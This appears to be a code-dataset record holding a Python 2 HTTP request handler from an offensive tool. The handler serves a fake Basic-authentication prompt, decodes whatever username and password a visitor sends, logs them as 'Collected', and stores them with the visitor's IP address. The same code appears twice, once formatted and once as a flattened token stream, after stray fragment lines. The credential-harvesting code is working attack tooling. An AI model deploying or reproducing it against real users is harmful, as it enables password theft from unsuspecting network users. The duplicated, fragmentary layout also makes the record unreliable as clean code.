(self)
Handle GET
Handle GET
Handle GET
def do_GET(self):
        """Handle GET"""
        try:
            # go away
            if self.path == '/favicon.ico':
                return
            # serve user-specified page
            if not self.context['root'] is None and util.does_file_exist(self.context['root']):
                self.send_headers()
                fle = open(self.context['root'], 'rb')
                self.wfile.write(fle.read())
                fle.close()
                return

            # else serve up the authentication page to collect credentials
            auth_header = self.headers.getheader('Authorization')
            if auth_header is None:
                self.send_auth_headers()
            elif auth_header.split(' ')[1] == base64.b64encode('ballast:security'):
                self.send_headers()
                self.wfile.write('Authenticated :)')
            elif not auth_header is None:
                (usr, pswd) = base64.b64decode(auth_header.split(' ')[1]).split(':')
                self.context['self'].log_msg(\
                              'Collected: \033[32m%s:%s\033[33m' % (usr,pswd))
                self.context['self']._dbcredentials(usr, pswd, 'local HTTP',
                               self.connection.getpeername()[0])
                self.send_auth_headers()
            else:
                self.send_auth_headers()
        except Exception, j:
            if j.errono == 32:
                # connection closed prematurely
                return
            util.Error('Error: %s' % j)
            return
        except KeyboardInterrupt:
            return
def do_GET ( self ) : try : # go away if self . path == '/favicon.ico' : return # serve user-specified page if not self . context [ 'root' ] is None and util . does_file_exist ( self . context [ 'root' ] ) : self . send_headers ( ) fle = open ( self . context [ 'root' ] , 'rb' ) self . wfile . write ( fle . read ( ) ) fle . close ( ) return # else serve up the authentication page to collect credentials auth_header = self . headers . getheader ( 'Authorization' ) if auth_header is None : self . send_auth_headers ( ) elif auth_header . split ( ' ' ) [ 1 ] == base64 . b64encode ( 'ballast:security' ) : self . send_headers ( ) self . wfile . write ( 'Authenticated :)' ) elif not auth_header is None : ( usr , pswd ) = base64 . b64decode ( auth_header . split ( ' ' ) [ 1 ] ) . split ( ':' ) self . context [ 'self' ] . log_msg ( 'Collected: \033[32m%s:%s\033[33m' % ( usr , pswd ) ) self . context [ 'self' ] . _dbcredentials ( usr , pswd , 'local HTTP' , self . connection . getpeername ( ) [ 0 ] ) self . send_auth_headers ( ) else : self . send_auth_headers ( ) except Exception , j : if j . errono == 32 : # connection closed prematurely return util . Error ( 'Error: %s' % j ) return except KeyboardInterrupt : return